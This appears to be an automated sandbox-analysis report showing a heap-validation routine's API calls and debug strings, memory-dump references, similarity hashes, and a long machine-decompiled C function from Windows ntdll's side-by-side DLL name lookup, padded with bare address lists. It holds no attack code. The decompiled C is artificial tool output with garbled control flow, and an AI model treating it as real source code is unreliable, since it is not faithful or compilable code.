0x6a9d47ef
0x6a9d4890
0x6a9d4890
0x6a9d4891
0x6a9d4891
0x6a9d4894
0x6a9d4897
0x6a9d489d
0x6a9d48a0
0x00000000
0x00000000
0x6a9d48a2
0x6a9d48a3
0x6a9d48a6
0x00000000
0x00000000
0x00000000
0x6a9d48a6
0x6a9d48fb
0x6a9d4901
0x6a9d4905
0x6a9d4924
0x6a9d4929
0x6a9d4907
0x6a9d491c
0x6a9d4921
0x6a9d492f
0x6a9d4935
0x6a9d4936
0x6a9d4939
0x6a9d4942
0x00000000
0x6a9d4947
0x6a9d4835
0x6a9d483b
0x6a9d483f
0x6a9d485e
0x6a9d4863
0x6a9d4841
0x6a9d4856
0x6a9d485b
0x6a9d4869
0x6a9d486c
0x6a9d486f
0x6a9d47e7
0x6a9d47e7
0x00000000
0x6a9d47ec
0x6a9d47aa
0x6a9d47b0
0x6a9d47b4
0x6a9d47d3
0x6a9d47d8
0x6a9d47b6
0x6a9d47cb
0x6a9d47d0
0x6a9d47de
0x6a9d47df
0x6a9d47e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d476f
0x6a9d476f
0x6a9d4778
0x6a9d4785
0x6a9d4787
0x6a9d478c
0x6a9d478e
0x00000000
0x00000000
0x6a9d4790
0x6a9d4792
0x6a9d4794
0x00000000
0x00000000
0x6a9d4796
0x6a9d4799
0x00000000
0x6a9d4799
0x00000000
0x6a9d45c3
0x6a9d45c3
0x6a9d45c7
0x6a9d45c7
0x6a9d45ca
0x6a9d45cf
0x6a9d45d3
0x6a9d45df
0x6a9d45e4
0x6a9d45e6
0x6a9d45e8
0x6a9d45ed
0x6a9d45ed
0x6a9d45f2
0x6a9d45f2
0x6a9d45f7
0x6a9d45fc
0x6a9d4602
0x6a9d4606
0x6a9d4609
0x6a9d460f
0x6a9d46de
0x6a9d46e3
0x6a9d46e5
0x6a9d46ec
0x6a9d46ee
0x6a9d46f6
0x6a9d46f6
0x6a9d46f6
0x6a9d46f6
0x6a9d46ec
0x6a9d4615
0x6a9d4615
0x6a9d461d
0x6a9d462e
0x6a9d462e
0x6a9d461d
0x6a9d460f
0x6a9d4609
0x6a9d46fd
0x00000000
0x00000000
0x6a9d4710
0x6a9d471a
0x6a9d4720
0x6a9d4720
0x6a9d4722
0x6a9d472c
0x00000000
0x6a9d472e
0x6a9d472e
0x00000000
0x6a9d472e
0x6a9d472c
0x6a9d4738
0x6a9d473c
0x6a9d474b
0x6a9d4751
0x6a9d4751
0x00000000
0x6a9d473c
0x6a9d48f4
0x6a9d48f4
0x00000000
0x6a9d48f4

APIs

Part of subcall function 6A9D49A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49DF
Part of subcall function 6A9D49A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49FE
Part of subcall function 6A9D49A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6A9D4A42
Part of subcall function 6A9D49A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6A9D4A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6A9D459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D4664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D46B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D46C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20), ref: 6A9D46D4
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D47CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D47D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20), ref: 6A9D47E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D4863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D4929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6A9D4942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6A9D4997

Strings

HEAP: , xrefs: 6A9D465F, 6A9D46C0, 6A9D47D3, 6A9D485E, 6A9D4924, 6A9D4978
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6A9D46CF
HEAP[%wZ]: , xrefs: 6A9D4652, 6A9D46B3, 6A9D47C6, 6A9D4851, 6A9D4917, 6A9D496B
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6A9D4992
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6A9D493D
Non-Dedicated free list element %p is out of order, xrefs: 6A9D466B
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6A9D47E2
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6A9D486F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: cc39b9b51fa21b4b45338245df08a851a17688d0d749a908991d82aca2a16d30
Instruction ID: 2d2cb9bd6328c6e288b509ad2d5e84b9683bc4379a7a89c53a51c829bf7e7123
Opcode Fuzzy Hash: cc39b9b51fa21b4b45338245df08a851a17688d0d749a908991d82aca2a16d30
Instruction Fuzzy Hash: 48F1F431504A469FCB11DF68C484BAAB7F5FF89308F22C529E1659B262DF30E985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6A932990, Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 521
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E6A932990(intOrPtr* __ecx, int __edx, signed short* _a4, signed int _a8, int _a12) {
				signed int _v12;
				short _v16;
				short _v20;
				short _v24;
				short* _v28;
				short* _v32;
				void* _v36;
				short _v38;
				void* _v40;
				signed int _v44;
				char _v45;
				signed short _v46;
				signed short _v48;
				signed int _v52;
				void* _v56;
				signed short* _v60;
				int _v64;
				int _v68;
				intOrPtr _v72;
				void* _v76;
				int _v80;
				signed int _v84;
				signed int _v88;
				void* _v92;
				signed char _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				intOrPtr _v136;
				intOrPtr _v148;
				intOrPtr _v152;
				void _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t208;
				signed int _t213;
				signed int _t222;
				void* _t225;
				signed char _t226;
				signed short _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed short _t241;
				void* _t243;
				signed int _t244;
				signed int _t247;
				signed int _t248;
				void* _t251;
				signed int _t252;
				signed char _t265;
				void* _t270;
				signed int _t271;
				unsigned int _t278;
				signed int _t280;
				void* _t288;
				void* _t291;
				signed int _t292;
				unsigned int _t298;
				void* _t304;
				signed int _t305;
				unsigned int _t316;
				signed short _t319;
				signed char _t323;
				signed int _t328;
				int _t329;
				short* _t331;
				intOrPtr _t334;
				signed short _t335;
				signed int _t336;
				intOrPtr _t337;
				signed int _t339;
				intOrPtr _t340;
				signed int _t341;
				intOrPtr _t344;
				intOrPtr _t351;
				signed short _t353;
				intOrPtr _t356;
				signed short* _t357;
				void* _t362;
				unsigned int _t364;
				signed short _t366;
				signed int _t367;
				int _t368;
				intOrPtr* _t369;
				signed int _t370;
				signed int _t371;
				signed short* _t372;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;

				_t361 = __edx;
				_v12 =  *0x6aa0d360 ^ _t377;
				_t329 = _a12;
				_v60 = _a4;
				_t369 = __ecx;
				_v88 = _a8;
				_v45 = __edx;
				_v160 = 0x40;
				memset( &_v156, 0, 0x3c);
				_t379 = _t378 + 0xc;
				_v76 =  *_t369;
				_t368 = 0;
				_v72 =  *((intOrPtr*)(_t369 + 4));
				_t208 =  &_v16;
				_v32 = _t208;
				_v28 = _t208;
				_v36 = _t208;
				_v16 = 0;
				_v52 = 0;
				_v24 = 2;
				_v20 = 2;
				_v40 = 0x20000;
				_t370 = E6A932D50(3, 0, 2,  &_v76,  &_v160);
				if(_t370 >= 0) {
					__eflags = _v45;
					if(_v45 != 0) {
						_t370 = 0;
						L2:
						_t213 = _v32;
						_t331 = _v28;
						if(_t213 != 0) {
							if(_t213 != _t331) {
								_v88 = _t213;
								RtlFreeUnicodeString( &_v92);
								_t331 = _v28;
							}
							_v32 = _t331;
							_v24 = _v20;
						}
						_v36 = _t331;
						if(_t331 != 0) {
							 *_t331 = 0;
						}
						_v40 = 0;
						_v38 = _v20;
						if(_t368 != 0) {
							E6A949B10(_t368);
						}
						return E6A95B640(_t370, _t329, _v12 ^ _t377, _t361, _t368, _t370);
					}
					__eflags = _v148 - 0x14;
					_t368 = _v128;
					if(_v148 < 0x14) {
						L57:
						_t370 = 0xc0150003;
						goto L2;
					}
					__eflags = _v156 - 1;
					if(_v156 != 1) {
						goto L57;
					}
					_t334 = _v152;
					_t361 =  *(_t334 + 0x10);
					__eflags = _t361 - _v132;
					if(_t361 > _v132) {
						goto L57;
					}
					_t222 =  *(_t334 + 0xc);
					__eflags = _t222 - 0x1fffffff;
					if(_t222 > 0x1fffffff) {
						goto L57;
					}
					_t371 = _t222 * 8;
					__eflags = _t361 -  !_t371;
					if(_t361 >  !_t371) {
						goto L57;
					}
					_t225 = _t371 + _t361;
					_t361 = _v132;
					__eflags = _t225 - _t361;
					if(_t225 > _t361) {
						goto L57;
					}
					_t226 =  *(_t334 + 4);
					__eflags = _t226 & 0x00000002;
					if((_t226 & 0x00000002) == 0) {
						L22:
						_t372 = _v60;
						_v56 =  *(_t334 + 0x10) + _v136;
						_v64 = 0;
						 *_t372 = 0;
						_t335 = 0;
						_v48 =  *(_t334 + 0xc);
						_t230 = 0;
						__eflags = _v48;
						if(_v48 != 0) {
							_t231 = 0;
							__eflags = 0;
							while(1) {
								_t336 = _t231 * 8;
								_t232 = _v56;
								_v44 = _t336;
								_t337 =  *((intOrPtr*)(_t336 + _t232 + 4));
								__eflags = _t337 - _t361;
								if(_t337 > _t361) {
									goto L57;
								}
								_t233 =  *(_v44 + _t232);
								_t372 = _v60;
								_v44 = _t233;
								__eflags = _t337 -  !_t233;
								if(_t337 >  !_t233) {
									goto L57;
								}
								__eflags = _v44 + _t337 - _t361;
								if(_v44 + _t337 > _t361) {
									goto L57;
								}
								_t335 = (_v44 & 0x0000ffff) +  *_t372;
								_v44 = _t335 & 0x0000ffff;
								_t231 = _v64 + 1;
								 *_t372 = _t335;
								_v64 = _t231;
								__eflags = _t231 - _v48;
								if(_t231 != _v48) {
									continue;
								}
								_t230 = _v44 & 0x0000ffff;
								goto L23;
							}
							goto L57;
						}
						L23:
						_t361 = _v52;
						_t241 = _t230 & 0x0000ffff;
						__eflags = _t361;
						if(_t361 != 0) {
							_t319 = ( *_t361 & 0x0000ffff) + _t335;
							__eflags = _t319;
							 *_t372 = _t319;
							_t241 = _t319 & 0x0000ffff;
						}
						_t243 = (_t241 & 0x0000ffff) + 2;
						__eflags = _t243 - 0xfffe;
						if(_t243 > 0xfffe) {
							_t370 = 0xc0000106;
							goto L2;
						} else {
							_t339 = _t329 + 8;
							__eflags = _t339;
							if(_t339 == 0) {
								L28:
								_t244 = E6A94D690(0, _t339, _t243);
								__eflags = _t244;
								if(_t244 < 0) {
									L69:
									_t370 = 0xc0000017;
									goto L2;
								}
								_t361 = _v52;
								_t339 = _t329 + 8;
								L30:
								 *((intOrPtr*)(_t329 + 4)) =  *_t339;
								 *((short*)(_t329 + 2)) =  *((intOrPtr*)(_t329 + 0x10));
								__eflags = _t361;
								if(_t361 == 0) {
									L35:
									_t247 = 0;
									_v44 = 0;
									__eflags = _v48;
									if(_v48 != 0) {
										while(1) {
											_t362 = _v56;
											_t248 =  *(_t362 + _t247 * 8) & 0x0000ffff;
											_t375 = _t248;
											_t361 =  *((intOrPtr*)(_t362 + 4 + _v44 * 8)) + _v136;
											_v68 = _t248;
											_v84 = _t248;
											_v80 = _t375;
											_t251 = ( *_t329 & 0x0000ffff) + 2 + _t375;
											_v64 = _t361;
											_t372 = _v60;
											__eflags = _t251 - 0xfffe;
											if(_t251 > 0xfffe) {
												break;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L77:
												_t252 = E6A94D690(0, _t339, _t251);
												__eflags = _t252;
												if(_t252 < 0) {
													goto L69;
												}
												_t361 = _v64;
												_t339 = _t329 + 8;
												L79:
												_t340 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t340;
												memmove(_t340 + (( *_t329 & 0x0000ffff) >> 1) * 2, _t361, _v80);
												_t341 =  *_t329 & 0x0000ffff;
												_t379 = _t379 + 0xc;
												_t364 = _v84 + _t341 & 0x0000ffff;
												 *_t329 = _t364;
												 *((short*)(_t329 + 2)) = _v68 + 2 + _t341;
												_t361 = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t364 >> 1) * 2)) = 0;
												_t339 = _t329 + 8;
												_t247 = _v44 + 1;
												_v44 = _t247;
												__eflags = _t247 - _v48;
												if(_t247 != _v48) {
													continue;
												}
												goto L36;
											}
											__eflags = _t251 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t251 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L79;
											}
											goto L77;
										}
										L85:
										_t370 = 0xc0000106;
										goto L2;
									}
									L36:
									_t265 =  *(_v152 + 4);
									__eflags = _t265 & 0x00000001;
									if((_t265 & 0x00000001) != 0) {
										L46:
										__eflags = _t265 & 0x00000004;
										if(__eflags != 0) {
											_t361 = _t329;
											_push( &_v40);
											_t370 = E6A9A3F4D(_t329, _t329, _t368, _t372, __eflags);
											__eflags = _t370;
											if(_t370 < 0) {
												goto L2;
											}
											_t361 = _v40;
											 *_t329 = 0;
											_t270 = (_t361 & 0x0000ffff) + 2;
											__eflags = _t270 - 0xfffe;
											if(_t270 <= 0xfffe) {
												_t376 = _t329 + 8;
												__eflags = _t376;
												if(_t376 == 0) {
													L93:
													_t271 = E6A94D690(0, _t376, _t270);
													__eflags = _t271;
													if(_t271 >= 0) {
														_t361 = _v40;
														L96:
														_t344 =  *_t376;
														 *((intOrPtr*)(_t329 + 4)) = _t344;
														memmove(_t344 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v36, _t361 & 0x0000ffff);
														_t192 = ( *_t329 & 0x0000ffff) + _v40 + 2; // 0x20002
														 *((short*)(_t329 + 2)) = _t192;
														_t278 = ( *_t329 & 0x0000ffff) + _v40 & 0x0000ffff;
														 *_t329 = _t278;
														_t361 = 0;
														 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t278 >> 1) * 2)) = 0;
														goto L47;
													}
													_t370 = 0xc0000017;
													goto L2;
												}
												__eflags = _t270 -  *((intOrPtr*)(_t329 + 0x10));
												if(_t270 <=  *((intOrPtr*)(_t329 + 0x10))) {
													goto L96;
												}
												goto L93;
											}
											_t370 = 0xc0000106;
											goto L2;
										}
										L47:
										_t280 = _v88;
										__eflags = _t280;
										if(_t280 != 0) {
											 *_t280 =  *_t280 | 0x00000002;
										}
										_t370 = 0;
										goto L2;
									}
									__eflags = _t265 & 0x00000008;
									if((_t265 & 0x00000008) != 0) {
										_t370 = E6A933690(1,  &_v76, 0x6a8f1810,  &_v48);
										__eflags = _t370;
										if(_t370 >= 0) {
											_t366 = _v76 + 0xfffe - _v48;
											_t372 = _v60;
											_t288 = _v72 + ((_v48 & 0x0000ffff) >> 1) * 2 + 2;
											_t339 = _t329 + 8;
											L39:
											_v46 = _t366;
											_t361 = _t366 & 0x0000ffff;
											 *_t372 =  *_t372 + _t361;
											__eflags =  *_t372 - 0xffff;
											_v56 = _t288;
											_v68 = _t361;
											if( *_t372 >= 0xffff) {
												goto L85;
											}
											_t291 = ( *_t329 & 0x0000ffff) + 2 + _t361;
											__eflags = _t291 - 0xfffe;
											if(_t291 > 0xfffe) {
												_t370 = 0xc0000106;
												goto L2;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L43:
												_t292 = E6A94D690(0, _t339, _t291);
												__eflags = _t292;
												if(_t292 < 0) {
													_t370 = 0xc0000017;
													goto L2;
												}
												_t361 = _v68;
												_t339 = _t329 + 8;
												L45:
												_t351 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t351;
												memmove(_t351 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v56, _t361);
												_t379 = _t379 + 0xc;
												_t353 = ( *_t329 & 0x0000ffff) + _v46;
												 *((short*)(_t329 + 2)) = _t353 + 2;
												_t298 = _t353 & 0x0000ffff;
												 *_t329 = _t298;
												_t361 = 0;
												__eflags = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t298 >> 1) * 2)) = 0;
												_t265 =  *(_v152 + 4);
												goto L46;
											}
											__eflags = _t291 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t291 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L45;
											}
											goto L43;
										}
										__eflags = _t370 - 0xc0000225;
										if(_t370 == 0xc0000225) {
											E6A9B5100(_t339, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x477, "Status != STATUS_NOT_FOUND");
											_t370 = 0xc00000e5;
										}
										goto L2;
									}
									_t288 = _v72;
									_t366 = _v76;
									goto L39;
								}
								 *_t329 = 0;
								_t304 = ( *_t361 & 0x0000ffff) + 2;
								__eflags = _t304 - 0xfffe;
								if(_t304 > 0xfffe) {
									_t370 = 0xc0000106;
									goto L2;
								}
								__eflags = _t339;
								if(_t339 == 0) {
									L71:
									_t305 = E6A94D690(0, _t339, _t304);
									__eflags = _t305;
									if(_t305 >= 0) {
										_t361 = _v52;
										_t339 = _t329 + 8;
										L34:
										_t356 =  *_t339;
										 *((intOrPtr*)(_t329 + 4)) = _t356;
										memmove(_t356 + (( *_t329 & 0x0000ffff) >> 1) * 2,  *(_t361 + 4),  *_t361 & 0x0000ffff);
										_t357 = _v52;
										_t379 = _t379 + 0xc;
										_t367 =  *_t329 & 0x0000ffff;
										 *((short*)(_t329 + 2)) = ( *_t357 & 0x0000ffff) + 2 + _t367;
										_t316 = ( *_t357 & 0x0000ffff) + _t367 & 0x0000ffff;
										 *_t329 = _t316;
										_t361 = 0;
										__eflags = 0;
										 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t316 >> 1) * 2)) = 0;
										_t339 = _t329 + 8;
										goto L35;
									}
									_t370 = 0xc0000017;
									goto L2;
								}
								__eflags = _t304 -  *((intOrPtr*)(_t329 + 0x10));
								if(_t304 >  *((intOrPtr*)(_t329 + 0x10))) {
									goto L71;
								}
								goto L34;
							}
							__eflags = _t243 -  *((intOrPtr*)(_t329 + 0x10));
							if(_t243 <=  *((intOrPtr*)(_t329 + 0x10))) {
								goto L30;
							}
							goto L28;
						}
					}
					_t360 = 0;
					_v44 = 0;
					__eflags = _t226 & 0x00000004;
					if((_t226 & 0x00000004) != 0) {
						_push("sxsisol_SearchActCtxForDllName");
						_push( *((intOrPtr*)( *[fs:0x18] + 0x24)));
						E6A9A5720(0x33, 0, "[%x.%x] SXS: %s - Relative redirection plus env var expansion.\n",  *((intOrPtr*)( *[fs:0x18] + 0x20)));
						goto L57;
					}
					_t323 = _v120;
					__eflags = _t323 & 0x00000001;
					if((_t323 & 0x00000001) != 0) {
						__eflags = _t323 & 0x00000002;
						if((_t323 & 0x00000002) != 0) {
							E6A9B5100(0, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x41b, "!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)");
							_t370 = 0xc00000e5;
							goto L2;
						}
						_t360 = 1;
					}
					__eflags = _t323 & 0x00000002;
					if((_t323 & 0x00000002) != 0) {
						_t360 = _t360 | 0x00000002;
					}
					_t361 = _t368;
					_t370 = E6A94C63D(_t360, _t368, _v124,  &_v52, _t360,  &_v44);
					__eflags = _t370;
					if(_t370 < 0) {
						__eflags = _t370 - 0xc0000120;
						if(_t370 == 0xc0000120) {
							_t328 = _v44;
							__eflags = _t328;
							if(_t328 < 0) {
								_t370 = _t328;
							}
						}
						goto L2;
					} else {
						_t334 = _v152;
						_t361 = _v132;
						goto L22;
					}
				}
				if(_t370 == 0xc0150001) {
					_t370 = 0xc0150008;
				}
				goto L2;
			}

0x6a932990
0x6a9329a2
0x6a9329a9
0x6a9329ae
0x6a9329b1
0x6a9329b8
0x6a9329c4
0x6a9329c7
0x6a9329d1
0x6a9329d8
0x6a9329db
0x6a9329de
0x6a9329e3
0x6a9329e6
0x6a9329e9
0x6a9329ec
0x6a9329ef
0x6a9329f4
0x6a932a02
0x6a932a0b
0x6a932a12
0x6a932a19
0x6a932a25
0x6a932a29
0x6a932a89
0x6a932a8d
0x6a97d3f9
0x6a932a37
0x6a932a37
0x6a932a3a
0x6a932a3f
0x6a932a43
0x6a97d6ed
0x6a97d6f4
0x6a97d6f9
0x6a97d6f9
0x6a932a4c
0x6a932a4f
0x6a932a4f
0x6a932a52
0x6a932a57
0x6a932a5b
0x6a932a5b
0x6a932a60
0x6a932a68
0x6a932a6e
0x6a932d15
0x6a932d15
0x6a932a86
0x6a932a86
0x6a932a93
0x6a932a9a
0x6a932a9d
0x6a97d428
0x6a97d428
0x00000000
0x6a97d428
0x6a932aa3
0x6a932aaa
0x00000000
0x00000000
0x6a932ab0
0x6a932ab6
0x6a932ab9
0x6a932abc
0x00000000
0x00000000
0x6a932ac2
0x6a932ac5
0x6a932aca
0x00000000
0x00000000
0x6a932ad0
0x6a932adb
0x6a932add
0x00000000
0x00000000
0x6a932ae3
0x6a932ae6
0x6a932ae9
0x6a932aeb
0x00000000
0x00000000
0x6a932af1
0x6a932af4
0x6a932af6
0x6a932b42
0x6a932b4b
0x6a932b4e
0x6a932b51
0x6a932b58
0x6a932b61
0x6a932b63
0x6a932b66
0x6a932b68
0x6a932b6b
0x6a97d473
0x6a97d473
0x6a97d475
0x6a97d475
0x6a97d47c
0x6a97d47f
0x6a97d482
0x6a97d486
0x6a97d488
0x00000000
0x00000000
0x6a97d48d
0x6a97d490
0x6a97d493
0x6a97d498
0x6a97d49a
0x00000000
0x00000000
0x6a97d4a1
0x6a97d4a3
0x00000000
0x00000000
0x6a97d4ab
0x6a97d4b0
0x6a97d4b6
0x6a97d4b7
0x6a97d4b9
0x6a97d4bc
0x6a97d4bf
0x00000000
0x00000000
0x6a97d4c4
0x00000000
0x6a97d4c4
0x00000000
0x6a97d475
0x6a932b71
0x6a932b71
0x6a932b74
0x6a932b77
0x6a932b79
0x6a932b7e
0x6a932b7e
0x6a932b80
0x6a932b82
0x6a932b82
0x6a932b88
0x6a932b8b
0x6a932b90
0x6a97d4cc
0x00000000
0x6a932b96
0x6a932b96
0x6a932b99
0x6a932b9b
0x6a932ba2
0x6a932ba6
0x6a932bab
0x6a932bad
0x6a97d4d6
0x6a97d4d6
0x00000000
0x6a97d4d6
0x6a932bb3
0x6a932bb6
0x6a932bb9
0x6a932bbb
0x6a932bc2
0x6a932bc6
0x6a932bc8
0x6a932c3e
0x6a932c3e
0x6a932c40
0x6a932c43
0x6a932c46
0x6a97d50c
0x6a97d50c
0x6a97d512
0x6a97d51a
0x6a97d51c
0x6a97d522
0x6a97d525
0x6a97d52e
0x6a97d531
0x6a97d533
0x6a97d536
0x6a97d539
0x6a97d53e
0x00000000
0x00000000
0x6a97d544
0x6a97d546
0x6a97d54d
0x6a97d551
0x6a97d556
0x6a97d558
0x00000000
0x00000000
0x6a97d55e
0x6a97d561
0x6a97d564
0x6a97d567
0x6a97d56f
0x6a97d576
0x6a97d57b
0x6a97d57e
0x6a97d586
0x6a97d58f
0x6a97d596
0x6a97d59a
0x6a97d5a1
0x6a97d5a5
0x6a97d5ab
0x6a97d5ac
0x6a97d5af
0x6a97d5b2
0x00000000
0x00000000
0x00000000
0x6a97d5b8
0x6a97d548
0x6a97d54b
0x00000000
0x00000000
0x00000000
0x6a97d54b
0x6a97d630
0x6a97d630
0x00000000
0x6a97d630
0x6a932c4c
0x6a932c52
0x6a932c55
0x6a932c57
0x6a932cfe
0x6a932cfe
0x6a932d00
0x6a97d651
0x6a97d653
0x6a97d659
0x6a97d65b
0x6a97d65d
0x00000000
0x00000000
0x6a97d663
0x6a97d669
0x6a97d66f
0x6a97d672
0x6a97d677
0x6a97d683
0x6a97d686
0x6a97d688
0x6a97d68f
0x6a97d693
0x6a97d698
0x6a97d69a
0x6a97d6a6
0x6a97d6aa
0x6a97d6aa
0x6a97d6b8
0x6a97d6bf
0x6a97d6ce
0x6a97d6d1
0x6a97d6d5
0x6a97d6da
0x6a97d6e2
0x6a97d6e4
0x00000000
0x6a97d6e4
0x6a97d69c
0x00000000
0x6a97d69c
0x6a97d68a
0x6a97d68d
0x00000000
0x00000000
0x00000000
0x6a97d68d
0x6a97d679
0x00000000
0x6a97d679
0x6a932d06
0x6a932d06
0x6a932d09
0x6a932d0b
0x6a932d39
0x6a932d39
0x6a932d0d
0x00000000
0x6a932d0d
0x6a932c5d
0x6a932c5f
0x6a97d5d1
0x6a97d5d3
0x6a97d5d5
0x6a97d617
0x6a97d61d
0x6a97d625
0x6a97d628
0x6a932c6c
0x6a932c6c
0x6a932c70
0x6a932c73
0x6a932c75
0x6a932c7b
0x6a932c7e
0x6a932c81
0x00000000
0x00000000
0x6a932c8d
0x6a932c8f
0x6a932c94
0x6a97d63a
0x00000000
0x6a97d63a
0x6a932c9a
0x6a932c9c
0x6a932ca3
0x6a932ca7
0x6a932cac
0x6a932cae
0x6a97d644
0x00000000
0x6a97d644
0x6a932cb4
0x6a932cb7
0x6a932cba
0x6a932cbd
0x6a932cc5
0x6a932ccc
0x6a932cd4
0x6a932cd7
0x6a932cde
0x6a932ce2
0x6a932ce7
0x6a932cef
0x6a932cef
0x6a932cf1
0x6a932cfb
0x00000000
0x6a932cfb
0x6a932c9e
0x6a932ca1
0x00000000
0x00000000
0x00000000
0x6a932ca1
0x6a97d5d7
0x6a97d5dd
0x6a97d5f7
0x6a97d5fc
0x6a97d5fc
0x00000000
0x6a97d5dd
0x6a932c65
0x6a932c68
0x00000000
0x6a932c68
0x6a932bcc
0x6a932bd2
0x6a932bd5
0x6a932bda
0x6a97d4e0
0x00000000
0x6a97d4e0
0x6a932be0
0x6a932be2
0x6a97d4ea
0x6a97d4ee
0x6a97d4f3
0x6a97d4f5
0x6a97d501
0x6a97d504
0x6a932bf1
0x6a932bf1
0x6a932bf3
0x6a932c06
0x6a932c0b
0x6a932c0e
0x6a932c11
0x6a932c1e
0x6a932c28
0x6a932c2d
0x6a932c35
0x6a932c35
0x6a932c37
0x6a932c3b
0x00000000
0x6a932c3b
0x6a97d4f7
0x00000000
0x6a97d4f7
0x6a932be8
0x6a932beb
0x00000000
0x00000000
0x00000000
0x6a932beb
0x6a932b9d
0x6a932ba0
0x00000000
0x00000000
0x00000000
0x6a932ba0
0x6a932b90
0x6a932af8
0x6a932afa
0x6a932b01
0x6a932b03
0x6a97d406
0x6a97d40b
0x6a97d420
0x00000000
0x6a97d425
0x6a932b09
0x6a932b0c
0x6a932b0e
0x6a932d27
0x6a932d29
0x6a97d446
0x6a97d44b
0x00000000
0x6a97d44b
0x6a932d2f
0x6a932d2f
0x6a932b14
0x6a932b16
